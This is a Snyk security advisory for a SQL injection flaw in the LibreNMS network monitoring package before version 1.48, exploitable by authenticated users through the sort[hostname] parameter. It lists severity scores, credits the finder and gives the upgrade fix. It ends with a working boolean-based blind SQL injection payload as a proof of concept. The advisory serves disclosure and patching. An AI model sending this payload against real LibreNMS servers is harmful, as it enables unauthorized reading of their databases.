SQL Injection Affecting librenms/librenms package, versions <1.48


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 0.1% (39th percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-LIBRENMSLIBRENMS-174024
  • published 29 Mar 2019
  • disclosed 28 Mar 2019
  • credit Dariusz Gońda, CERT ENEA member

How to fix?

Upgrade librenms/librenms to version 1.48 or higher.

Overview

librenms/librenms is a fully featured network monitoring system that provides a wealth of features and device support.

Affected versions of this package are vulnerable to SQL Injection via the html/ajax_table.php sort[hostname] parameter, exploitable by authenticated users during a search.

PoC:

Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: current=1&rowCount=50&sort[hostname]=asc,(SELECT (CASE WHEN (7936=7936) THEN 1 ELSE
7936*(SELECT 7936 FROM INFORMATION_SCHEMA.CHARACTER_SETS)
END))&searchPhrase=&id=devices&format=list_detail&searchquery=&os=&version=&hardware=&features=&location=&type=printer&state=&disabled=&ignore=&group=
                        

References